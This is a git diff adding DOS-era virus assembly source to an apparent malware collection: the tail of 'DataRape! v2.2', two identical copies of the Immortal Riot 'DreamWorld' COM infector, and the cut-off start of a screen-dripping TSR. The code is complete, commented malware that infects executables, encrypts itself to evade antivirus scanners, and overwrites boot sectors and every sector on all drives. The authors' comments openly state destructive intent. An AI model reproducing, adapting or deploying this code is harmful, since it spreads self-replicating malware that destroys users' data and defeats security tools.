go resident, then tell them that +; we "allready are" resident +;--- + +fsp_trying: + popf + mov ax,101h ;Set FSP/Virex ID byte + iret + +not_hide: + cmp ax,0ff0fh + je fsp_trying + cmp ah,3ch ; Are we creating a file? + je create + cmp ah,3dh ; Open file handle? + je touch + cmp ah,3eh ; Are we closing a file? + je close + cmp ah,43h ; Get/Set file attributes? + je touch + cmp ax,4b00h ; Are we executing a file? + je touch + cmp ax,6969h ; Checking if we are resident? + je weare_here_boost + cmp ah,5bh ; Creating a file? + jne not_create + +create: + cmp word ptr cs:[filehndl],0 + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx + jmp all_ok + +touch: + jmp try_infect + +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h + jne dont_touch +try_infect: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ; This is absolutely + ret 2 ; needed, IRET +dummy endp ; doesn't cut it + +see_name: + push ax + push si + mov si,dx + +;-- +; Here's a crude yet effective way of scanning the file handle in order to see +; what type of file it is... +; +; (NOTE: We make up for crudeity later by checking the first two bytes of the +; file to see if it is a COM or EXE file (4d5a)) +;-- + +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +do_file: + push ds + push es + push si + push di + push ax + push bx + push cx + push dx + xor cx,cx + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h + call function +no_update: + pop dx + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset top_file + sbb dx,0 + jc stop_infect + mov word ptr [top_save+18h],ax + + mov ax,5700h + int 21h ; Check if Infected + and cx,1Fh + cmp cx,1Fh + je stop_infect + xor cx,cx + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h + adc dx,0 + je fuck_it +stop_infect: ret + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save + movsb + movsw + +copy_body: + xor si,si + mov di,offset body + mov cx,offset top_file + rep movsb ; Copies virus + ; body to buffer + +enc_body: mov si,offset body + mov di,si + +;************************** +;* CHANGE ENCRYPTION BASE * +;************************** + + mov ah,2Ch ;Get system time + int 21h + mov byte ptr [enc_base_1],dl + mov byte ptr [body-v+enc_base_2],dl + +;**************************** +;* CHANGE ENCRYPTION METHOD * +;**************************** + + call yes_no + jc ror_rol +rol_ror: mov ax,0C0C8h + jmp short set_method +ror_rol: mov ax,0C8C0h +set_method: mov byte ptr [enc_meth_1],ah + mov byte ptr [body-v+enc_meth_2],al + +;******************************* +;* FLIP SOME REGISTERS, PART 1 * +;******************************* + + call yes_no + jc es_ds +ds_es: mov ax,1F07h + jmp short set_pops +es_ds: mov ax,071Fh +set_pops: mov byte ptr [body-v+pop_1],ah + mov byte ptr [body-v+pop_2],al + +;******************************* +;* FLIP SOME REGISTERS, PART 2 * +;******************************* + +;--- +; Zodiac has informed me that there is an error in the following routine +; he has advised me to coment it out until he fixes the bug +;--- + +; call yes_no +; jc di_di_si +;si_si_di: +; mov ax,5EEEh +; mov dl,0F7h +; jmp short set_switch +;di_di_si: +; mov ax,5FEFh +; mov dl,0FEh +;set_switch: +; mov byte ptr [switch_1],ah +; mov byte ptr [switch_2],al +; mov byte ptr [switch_3],dl + +;******************************* +;* FLIP SOME REGISTERS, PART 3 * +;******************************* + + mov al,56h + call yes_no + jc set_push + inc al +set_push: mov byte ptr [push_1],al + +;******************************* +;* FLIP SOME REGISTERS, PART 4 * +;******************************* + + call yes_no + jc set_dl +set_dh: mov ax,0B6F1h + mov dl,0C6h + jmp short set_inc +set_dl: mov ax,0B2D1h + mov dl,0C2h +set_inc: mov byte ptr [inc_1],ah + mov byte ptr [inc_2],al + mov byte ptr [inc_3],dl + +;******************************* +;* FLIP SOME REGISTERS, PART 5 * +;******************************* + + call yes_no + jc ds_ax +ax_ds: mov ax,1E50h + mov dx,581Fh + jmp short set_push_2 +ds_ax: mov ax,501Eh + mov dx,1F58h +set_push_2: mov word ptr [push_2_1],ax + mov word ptr [push_2_2],dx + + db 0B2h +enc_base_1: db 00h ; General ENC Base + + mov cx,offset un_enc + +enc_loop: lodsb + push cx + mov cl,dl + inc dl +;--- +; What is the meaning of this??? +;--- + + db 0D2h +enc_meth_1: db 0C0h + pop cx + stosb + loop enc_loop ; Encrypto + + mov dx,offset body + mov cx,offset top_file + mov ah,40h + int 21h ; Write Body + + jc go_no_fuck + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + +;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus +;****** This Doesn't happen when this is first compiled, an infection +;****** Needs to occur + + add ax,un_enc-v-3 + +;****** + + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck_boost + +yes_no: push ax + mov ah,2Ch ;Get system time + int 21h + pop ax ;Save AX + test dl,1 ;Are the 100ths of seconds 1 + jpe set_yes ;If parity is equal, SET_YES +set_no: clc ;Clear carry flag + ret +set_yes: stc ;Set carry flag + ret + jmp do_exe + +no_fuck_boost: + jmp no_fuck + +;--- +; Construct the .EXE file's header +;--- + +do_exe: + mov ax,word ptr [top_save+8] + call mul_16 + + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + +;****** Below Sets the Calling Address to the Unencryption Portion of the +;****** Virus This Doesn't happen when this is first compiled, an infection +;****** Needs to occur + + mov word ptr [top_save+14h],un_enc-v + +;****** + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset v-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h + pop dx + pop cx + and cx,0FFE0h + or cx,1Fh + jmp short time_got ; Mark Time Stamp + +db 13,10,"Free Flash Force!!!",13,10 + +no_fuck: + pop dx + pop cx +time_got: popf + jc stop_fuck + mov ax,5701h + int 21h +stop_fuck: + ret + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + ret + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +mul_16: + mov dx,10h + mul dx + ret + +kill: call kill_rel + +kill_rel: + pop si + jmp write_short + +re_do: + mov byte ptr [sector],1 ; Reset sector count to 1 + inc byte ptr [track] ; Increment next track + jmp fuck_drive ; Fuck it... + +;--- +; This routine is very nasty!!! +;--- + +write_short: + push cs + pop ds + cmp byte ptr [track],40 + jae reboot + cmp byte ptr [sector],9 + ja re_do + +fuck_drive: + mov ah,03h ; Write disk sectors + mov al,9 ; Xfer 9 sectors + mov bx,offset header ; Set for buffer + mov ch,byte ptr [track] ; Set for track [track] + mov cl,byte ptr [sector] ; Set for sector [sector] + mov dh,0 ; Set for head 0 + mov dl,2 ; Set for first fixed drive + + int 13h + + inc byte ptr [sector] + jmp write_short + +;--- +; This code will cold boot the CPU with a memory check +;--- + +reboot: + mov ax,0040h + mov ds,ax + mov ax,07f7fh + mov ds:[0072],ax +db 0eah,00h,00h,0ffh,0ffh ; JMP FFFF:0000 + +header db "------------------",13,10 + db " DataRape! v2.2 ",13,10 + db " By Zodiac ",13,10 + db "and Data Disruptor",13,10 + db " ",13,10 + db " (c) 1991 RABID ",13,10 + db "Int'nl Development",13,10 + db " Corp. ",13,10 + db "------------------",13,10 + +greetings db 13,10 + db "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10 + db "(Get your articles correct for a change... Maybe we should write",13,10 + db "for you...), John McAfee (Who wouldn't be where he is today if it",13,10 + db "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10 + db "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10 + db "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10 + db "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10 + db "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10 + db "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10 + db " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10 + db 13,10 + db "(c) 1991 The RABID International Development Corp." + +call_adr: + dd 100h +stack_pointer: + dd 0 +my_save: + int 20h + nop + +;**** UnEncryption Below + +un_enc: call enc_rel +enc_rel: pop si +rel_sub: sub si,offset enc_rel + +;--- +; Note: These are the only bytes which are constant throughout any infection +;--- + +rel_copy: mov di,si + +push_1: push si + +push_2_1: push ax + push ds + push es + + push cs +pop_1: pop ds;- + + push cs +pop_2: pop es;- + +;--- +; The constant bytes end here. (There are only 10 bytes...) +;--- +inc_1: db 0B2h + +enc_base_2: db 00h + mov cx,offset un_enc +un_enc_loop: lodsb + push cx + db 88h +inc_2: db 0D1h + + db 0D2h +enc_meth_2: db 0C8h + + db 0FEh +inc_3: db 0C2h + pop cx + stosb + loop un_enc_loop + + pop es +push_2_2: pop ds + pop ax + ret + +sector db 1 ; Count of sectors that have been fried +track db 0 ; Count of tracks that have been fried + +top_file: +save_int_21 equ $ +save_int_27 equ save_int_21+4 +filehndl equ save_int_27+4 +filename equ filehndl+2 +aux_size equ filename+65 +top_save equ filename+65 +body equ top_save+1Ch +top_bz equ top_save-v +my_bz equ top_file-v +switch_1 equ enc_rel +switch_2 equ rel_sub+1 +switch_3 equ rel_copy+1 + +;dta equ aux_size +; dta_attr equ dta+21 +; dta_time equ dta+22 +; dta_date equ dta+24 +; dta_size_lo equ dta+26 +; dta_size_hi equ dta+28 +; dta_name equ dta+30 +; + +code ends + end + +;-- +; End of virus +;-- diff --git a/d/DREAM.ASM b/d/DREAM.ASM new file mode 100755 index 0000000..6a7fc7f --- /dev/null +++ b/d/DREAM.ASM @@ -0,0 +1,260 @@ +; -DreamWorld?- +; "Created by Immortal Riot's destructive development team" +; (c) 93/94 Immortal Riot - All rights reserved +; +; Dedication: +; "If Metal Militia was dead, this virus should be deadicated to him" +; +; Notes: +; This was 'written' in one day. It sucks, but not as good as my.. +; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend" +; think she got a boy-friend? Huh? She's nuts! +; +; Notes_II: +; F-Prot, Scan, TBAV, FindViru can't find shits of this code. +; +; Disclaimer: +; Well, I just gotta have one, you know. So, I hereby claim this: +; "I take no responsability for any damage, either direct or implied, +; caused by the usage of the virus source code or of the resulting code +; after assembly. No warrant is made about the product functionability +; or quality. The code was written in pure educational purposes ONLY." +; +; Truth: +; Well, this was written only for malicious intends. I havn't learned +; a shit by writing this shit. Now you know that.. Well, I just had +; some hours spare time, and a huge appetite for destruction. That's why +; this virus was created. No more, no less. Ciao! /The Unforgiven + +.model tiny ; +.code ; +org 100h ; + ; +Start: ; +db 0e9h ; Jump to start1 and mark this file +DW 0 ; as virus-infected! + ; +Start1: ; +xchg ax,ax ; It's simply two NOPs +nop ; + ; +mov ax,0fa01h ; Let's un-install MSAV junk program +mov dx,5945h ; from memory for a cost of 8 bytes :) +int 16h ; + ; +call get_delta ; Get the delta offset +get_delta: ; +pop bp ; +sub bp, offset get_delta ; + ; +Call_en_de_crypt: ; Well, just using alternitive code +mov ax,bp ; for a "call en_de_crypt", for satisfying +add ax,011dh ; my very sick brain.. +push ax ; +jmp short en_de_crypt ; +jmp short real_code_start ; Sneee! + ; +crypt_val dw 0 ; We get a random value for each encryption! + ; +Write_virus: ; +call en_de_crypt ; Encrypt virus before we write! +mov ah,65d ; 65d - 1d = 40HEX! +sub ah,1d ; ^^^ How meaningless! +mov cx, end_of_virus - start1 ; CX = bytes to write +lea dx, [bp+start1] ; ; DX = Where to write from (100h) +int 21h ; ; Duh! + ; +call en_de_crypt ; Decrypt virus again +ret ; + ; +En_de_crypt: ; Heuristic, Heuristic, eat this! + ; +mov ax,word ptr [bp+crypt_val] +lea si,[bp+encrypt_start] ; +mov cx,(end_of_virus-start1+1)/2 + ; +Xor_loop: ; +xor word ptr [si],ax ; Encrypting two bytes/loop, until +add si,2 ; all the code between encryption_start +loop xor_loop ; to end_of_virus is encrypted! +ret ; + ; +Encrypt_start: ; All code here and below is encrypted, +Real_code_start: ; making it hard for heuristic scanners! + ; +mov ah,2ah ; First, we check for what date it is +int 21h ; +cmp dl,31 ; Is it the 31st any month? +jne not_now ; Nop! + ; +Cruel: ; +mov ah,09h ; It's the 31st any month! +lea dx,[bp+v_name] ; or the 1/100 of a second = 1 +int 21h ; we'll print a message! + ; +mov al,2h ; and after that, we'll brutally +mov cx,1 ; overwrite the first-sector on +lea bx,v_name ; drive C: with our virus name! +cwd ; +int 26h ; + ; +Not_now: ; It wasn't the 31:st, so, +mov ah,2ch ; we'll take a random number +int 21h ; from a 1/100 of a second and if +cmp dl,1 ; the value is 1, we'll trash the +je cruel ; boot-sector on drive C: and if +cmp dl,98 ; the value is 99 we will brutally +jbe no_harm ; destroy all sectors on all drives. + ; +Trash_sucker: ; +mov al,2h ; We'll start on drive C: (2h) +Drive: ; We'll overwrite one sector/run! +mov cx,1 ; with our virus name, and we'll +lea bx,v_name ; write from sector one, with the +xor dx,dx ; very nice interrupt 26h (sector write!) +Next_Sector: ; and after we've written one sector we'll +int 26h ; jump to the next sector and overwrite +inc dx ; that too, and loop until all sectors are +jnc next_sector ; being overwritten, then, we'll jump to +inc al ; the next drive, and overwrite all sectors +jmp short drive ; there as well. And the next drive, and + ; the next.. :-). +No_Harm: ; +lea dx,[bp+offset dta] ; Set the DTA to variable called DTA +call set_dta ; (DTA=42 byte chunk of memory!) + ; +Buf_Xfer: ; Restore the beginning.. +lea si, [bp+offset org3] ; +mov di, 100h ; DI=100h +push di ; Store di with our new value. +movsw ; Move string by word (the first two bytes!) +movsb ; Move string by byte (the third byte in the + ; buffer), b'cos our org3 buffer is 3 bytes! + ; +Get_drive: ; +mov ah,19h ; We'll get the drive from were we're executed +int 21h ; from, and if an infected file is being run +cmp al,2 ; from A: or B: we'll not search for more files +jae Get_dir ; to infect b'cos we havn't got a int24 handler. +ret ; Let the infected files run normally! + ; +Get_dir: ; Get directory from where we're being executed +mov ah,47h ; from. Must do that b'cos we're using the +sub dl,dl ; dot-dot method to travel around! +lea si,[bp+end_of_virus+2ch]; +int 21h ; + ; +Findfirst: ; +mov ah, 4eh ; FindFirst file +lea dx, [bp+masker] ; with the extension of 'COM' +_4fh: ; When called ah=4fh (findnextfile) +int 21h ; +jnc open_file ; We found a file! + ; Then, open it! +Chdir: ; +mov ah,3bh ; We didn't find any files +lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move +int 21h ; to the ".." location in the tree and +jc quit ; search for more files, if location doesn't +jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll + ; search for the first file in the new dir. +Open_file: ; +mov ax, 3D02h ; Open the file in read/write mode +lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh +int 21h ; +xchg ax, bx ; Faster/bigger than mov BX,AX + ; +mov ax,5700h ; Take the file's time/date +int 21h ; (ah=57h = get/set time/date) + ; (al=01h = get time/date) +push cx ; Store time! +push dx ; Store date! + ; +mov cx, 3 ; Read first three bytes of the file +lea dx, [bp+org3] ; to the buffer (org3) +mov ah, 3fh ; +int 21h ; + ; Check if already infected +mov cx, word ptr [bp+ORG3+1]; +mov ax, word ptr [bp+DTA+1ah] +add cx, end_of_virus - start1 + 3 +cmp ax, cx ; +jz restore_time_date ; It's already infected! + ; No, it's not infected! +sub ax, 3 ; +mov word ptr [bp+writebuffer], ax + ; +xor al, al ; Then, we'll move the file-poiter to +call f_ptr ; the beginning of the file, and +mov cx, 3 ; Write three bytes (our own jmp) +lea dx, [bp+e9] ; +mov ah, 40h ; +int 21h ; + ; +mov al, 2 ; Then, we'll move the file-pointer to +call f_ptr ; end_of_file. + ; +Get_Random: ; +mov ah,2ch ; Darn, this little trick is really +int 21h ; cool, b'cos we'll not get the same +add dl, dh ; encryption-value on any infected file, +jz get_random ; resulting in no bytes except the one used +mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant! + ; +call write_virus ; Now, write the virus! + ; +Restore_time_date: ; Cover our tracks.. +pop dx ; Restore file date! +pop cx ; Restore file time! + ; Notice the order "push cx/dx pop dx/cx!" +mov ax,5701h ; ah=57h (get/set attribs), +int 21h ; al=01h (set attribs) + ; +Close_file: ; +mov ah, 3eh ; Close the file, +int 21h ; which now is infected! + ; +mov ah, 4fh ; This little trick, is really +jmp short _4fh ; really neat, I think.. + ; +Quit: ; +lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the +mov ah,3bh ; directory from where we were executed +int 21h ; + ; +Fix_it: ; +mov dx, 80h ; Then, we'll set back the DTA to its + ; default value (note- this is NOT used + ; when the virus is running!) +Set_dta: ; +mov ah, 1ah ; Set the dta, used twice in this virus, +int 21h ; one when we started, and now, when we're + ; ready! +Exit: ; Then, we'll return and execute +retn ; the "real" program! + ; +F_ptr: ; Since we moved the file-pointer to +mov ah, 42h ; end of file twice, this saves some +xor cx, cx ; bytes! +cwd ; Clear dx (smallest variant!) +int 21h ; +retn ; Return to caller! + ; +V_name db '[DreamWorld?]','$' ; It's the name for the virus +dream db '"I have a dream..."'; Me and Martin Luther King! +msg db 'Copy me, so I can travel around the globe!' + db 'Spreading my message, manipulating your' + db 'thoughts, your mind, and your actions' + db '"Love, Peace, Empathy!"' +copyr db "(c) 93/94 Immortal Riot - All rights reserved!" + +Dot_dot db '..',0 +Masker db '*.com',0 +Org3 db 0cdh, 20h, 0 ; original three bytes saved here +E9 db 0e9h ; the jmp +End_of_virus equ $ +Writebuffer dw ? ; Scratch area for the JMP +Dta db 42 dup (?) ; 42 bytes of chunk in memory, but + ; not in the files! +Virus_end: +end start \ No newline at end of file diff --git a/d/DREAMWRL.ASM b/d/DREAMWRL.ASM new file mode 100755 index 0000000..6a7fc7f --- /dev/null +++ b/d/DREAMWRL.ASM @@ -0,0 +1,260 @@ +; -DreamWorld?- +; "Created by Immortal Riot's destructive development team" +; (c) 93/94 Immortal Riot - All rights reserved +; +; Dedication: +; "If Metal Militia was dead, this virus should be deadicated to him" +; +; Notes: +; This was 'written' in one day. It sucks, but not as good as my.. +; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend" +; think she got a boy-friend? Huh? She's nuts! +; +; Notes_II: +; F-Prot, Scan, TBAV, FindViru can't find shits of this code. +; +; Disclaimer: +; Well, I just gotta have one, you know. So, I hereby claim this: +; "I take no responsability for any damage, either direct or implied, +; caused by the usage of the virus source code or of the resulting code +; after assembly. No warrant is made about the product functionability +; or quality. The code was written in pure educational purposes ONLY." +; +; Truth: +; Well, this was written only for malicious intends. I havn't learned +; a shit by writing this shit. Now you know that.. Well, I just had +; some hours spare time, and a huge appetite for destruction. That's why +; this virus was created. No more, no less. Ciao! /The Unforgiven + +.model tiny ; +.code ; +org 100h ; + ; +Start: ; +db 0e9h ; Jump to start1 and mark this file +DW 0 ; as virus-infected! + ; +Start1: ; +xchg ax,ax ; It's simply two NOPs +nop ; + ; +mov ax,0fa01h ; Let's un-install MSAV junk program +mov dx,5945h ; from memory for a cost of 8 bytes :) +int 16h ; + ; +call get_delta ; Get the delta offset +get_delta: ; +pop bp ; +sub bp, offset get_delta ; + ; +Call_en_de_crypt: ; Well, just using alternitive code +mov ax,bp ; for a "call en_de_crypt", for satisfying +add ax,011dh ; my very sick brain.. +push ax ; +jmp short en_de_crypt ; +jmp short real_code_start ; Sneee! + ; +crypt_val dw 0 ; We get a random value for each encryption! + ; +Write_virus: ; +call en_de_crypt ; Encrypt virus before we write! +mov ah,65d ; 65d - 1d = 40HEX! +sub ah,1d ; ^^^ How meaningless! +mov cx, end_of_virus - start1 ; CX = bytes to write +lea dx, [bp+start1] ; ; DX = Where to write from (100h) +int 21h ; ; Duh! + ; +call en_de_crypt ; Decrypt virus again +ret ; + ; +En_de_crypt: ; Heuristic, Heuristic, eat this! + ; +mov ax,word ptr [bp+crypt_val] +lea si,[bp+encrypt_start] ; +mov cx,(end_of_virus-start1+1)/2 + ; +Xor_loop: ; +xor word ptr [si],ax ; Encrypting two bytes/loop, until +add si,2 ; all the code between encryption_start +loop xor_loop ; to end_of_virus is encrypted! +ret ; + ; +Encrypt_start: ; All code here and below is encrypted, +Real_code_start: ; making it hard for heuristic scanners! + ; +mov ah,2ah ; First, we check for what date it is +int 21h ; +cmp dl,31 ; Is it the 31st any month? +jne not_now ; Nop! + ; +Cruel: ; +mov ah,09h ; It's the 31st any month! +lea dx,[bp+v_name] ; or the 1/100 of a second = 1 +int 21h ; we'll print a message! + ; +mov al,2h ; and after that, we'll brutally +mov cx,1 ; overwrite the first-sector on +lea bx,v_name ; drive C: with our virus name! +cwd ; +int 26h ; + ; +Not_now: ; It wasn't the 31:st, so, +mov ah,2ch ; we'll take a random number +int 21h ; from a 1/100 of a second and if +cmp dl,1 ; the value is 1, we'll trash the +je cruel ; boot-sector on drive C: and if +cmp dl,98 ; the value is 99 we will brutally +jbe no_harm ; destroy all sectors on all drives. + ; +Trash_sucker: ; +mov al,2h ; We'll start on drive C: (2h) +Drive: ; We'll overwrite one sector/run! +mov cx,1 ; with our virus name, and we'll +lea bx,v_name ; write from sector one, with the +xor dx,dx ; very nice interrupt 26h (sector write!) +Next_Sector: ; and after we've written one sector we'll +int 26h ; jump to the next sector and overwrite +inc dx ; that too, and loop until all sectors are +jnc next_sector ; being overwritten, then, we'll jump to +inc al ; the next drive, and overwrite all sectors +jmp short drive ; there as well. And the next drive, and + ; the next.. :-). +No_Harm: ; +lea dx,[bp+offset dta] ; Set the DTA to variable called DTA +call set_dta ; (DTA=42 byte chunk of memory!) + ; +Buf_Xfer: ; Restore the beginning.. +lea si, [bp+offset org3] ; +mov di, 100h ; DI=100h +push di ; Store di with our new value. +movsw ; Move string by word (the first two bytes!) +movsb ; Move string by byte (the third byte in the + ; buffer), b'cos our org3 buffer is 3 bytes! + ; +Get_drive: ; +mov ah,19h ; We'll get the drive from were we're executed +int 21h ; from, and if an infected file is being run +cmp al,2 ; from A: or B: we'll not search for more files +jae Get_dir ; to infect b'cos we havn't got a int24 handler. +ret ; Let the infected files run normally! + ; +Get_dir: ; Get directory from where we're being executed +mov ah,47h ; from. Must do that b'cos we're using the +sub dl,dl ; dot-dot method to travel around! +lea si,[bp+end_of_virus+2ch]; +int 21h ; + ; +Findfirst: ; +mov ah, 4eh ; FindFirst file +lea dx, [bp+masker] ; with the extension of 'COM' +_4fh: ; When called ah=4fh (findnextfile) +int 21h ; +jnc open_file ; We found a file! + ; Then, open it! +Chdir: ; +mov ah,3bh ; We didn't find any files +lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move +int 21h ; to the ".." location in the tree and +jc quit ; search for more files, if location doesn't +jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll + ; search for the first file in the new dir. +Open_file: ; +mov ax, 3D02h ; Open the file in read/write mode +lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh +int 21h ; +xchg ax, bx ; Faster/bigger than mov BX,AX + ; +mov ax,5700h ; Take the file's time/date +int 21h ; (ah=57h = get/set time/date) + ; (al=01h = get time/date) +push cx ; Store time! +push dx ; Store date! + ; +mov cx, 3 ; Read first three bytes of the file +lea dx, [bp+org3] ; to the buffer (org3) +mov ah, 3fh ; +int 21h ; + ; Check if already infected +mov cx, word ptr [bp+ORG3+1]; +mov ax, word ptr [bp+DTA+1ah] +add cx, end_of_virus - start1 + 3 +cmp ax, cx ; +jz restore_time_date ; It's already infected! + ; No, it's not infected! +sub ax, 3 ; +mov word ptr [bp+writebuffer], ax + ; +xor al, al ; Then, we'll move the file-poiter to +call f_ptr ; the beginning of the file, and +mov cx, 3 ; Write three bytes (our own jmp) +lea dx, [bp+e9] ; +mov ah, 40h ; +int 21h ; + ; +mov al, 2 ; Then, we'll move the file-pointer to +call f_ptr ; end_of_file. + ; +Get_Random: ; +mov ah,2ch ; Darn, this little trick is really +int 21h ; cool, b'cos we'll not get the same +add dl, dh ; encryption-value on any infected file, +jz get_random ; resulting in no bytes except the one used +mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant! + ; +call write_virus ; Now, write the virus! + ; +Restore_time_date: ; Cover our tracks.. +pop dx ; Restore file date! +pop cx ; Restore file time! + ; Notice the order "push cx/dx pop dx/cx!" +mov ax,5701h ; ah=57h (get/set attribs), +int 21h ; al=01h (set attribs) + ; +Close_file: ; +mov ah, 3eh ; Close the file, +int 21h ; which now is infected! + ; +mov ah, 4fh ; This little trick, is really +jmp short _4fh ; really neat, I think.. + ; +Quit: ; +lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the +mov ah,3bh ; directory from where we were executed +int 21h ; + ; +Fix_it: ; +mov dx, 80h ; Then, we'll set back the DTA to its + ; default value (note- this is NOT used + ; when the virus is running!) +Set_dta: ; +mov ah, 1ah ; Set the dta, used twice in this virus, +int 21h ; one when we started, and now, when we're + ; ready! +Exit: ; Then, we'll return and execute +retn ; the "real" program! + ; +F_ptr: ; Since we moved the file-pointer to +mov ah, 42h ; end of file twice, this saves some +xor cx, cx ; bytes! +cwd ; Clear dx (smallest variant!) +int 21h ; +retn ; Return to caller! + ; +V_name db '[DreamWorld?]','$' ; It's the name for the virus +dream db '"I have a dream..."'; Me and Martin Luther King! +msg db 'Copy me, so I can travel around the globe!' + db 'Spreading my message, manipulating your' + db 'thoughts, your mind, and your actions' + db '"Love, Peace, Empathy!"' +copyr db "(c) 93/94 Immortal Riot - All rights reserved!" + +Dot_dot db '..',0 +Masker db '*.com',0 +Org3 db 0cdh, 20h, 0 ; original three bytes saved here +E9 db 0e9h ; the jmp +End_of_virus equ $ +Writebuffer dw ? ; Scratch area for the JMP +Dta db 42 dup (?) ; 42 bytes of chunk in memory, but + ; not in the files! +Virus_end: +end start \ No newline at end of file diff --git a/d/DRIP21.ASM b/d/DRIP21.ASM new file mode 100755 index 0000000..bff8943 --- /dev/null +++ b/d/DRIP21.ASM @@ -0,0 +1,203 @@ +TITLE DRIP 5-26-87 [4-21-88] + +;Goes TSR, activate/toggle with Scroll Lock key. +;Characters randomly drip down/off the screen + +LF EQU 0AH +CR EQU 0DH +; + +Cseg SEGMENT + ASSUME DS:Cseg, SS:Cseg ,CS:Cseg ,ES:Cseg + ORG 100H + + +Drip proc near + JMP Start + +int8Vec dd 0 ;save old Int 8 vector +saveDI dw 0 +saveSI dw 0 + +video dw 0B000H ;default mono screen memory + +wcntr_13A dw 40H ;counter +byte_13C DB 0FFH +bflag_13D DB 0 +bcntr_13E DB 0 +bflag_13F DB 0 +bcntr_140 DB 0 +word_2BE dw 0 +Drip endp + + +NewInt8 proc far + ASSUME DS:Nothing + + PUSHF ;save user's flags + PUSH AX ;and his Int 8 request + MOV AH,2 ;get shift status + INT 16H + AND AL,10H ;mask for Scroll Lock key + JZ Continue_Int8 ; continue to Int 8 + CMP CS:bcntr_13E,0 ;counter zeroed? + JZ L01A0 ; yep, time to act + DEC CS:bcntr_13E ;decr counter + JMP SHORT Continue_Int8 + +L01A0: CMP CS:bflag_13D,0 ;flag set? + 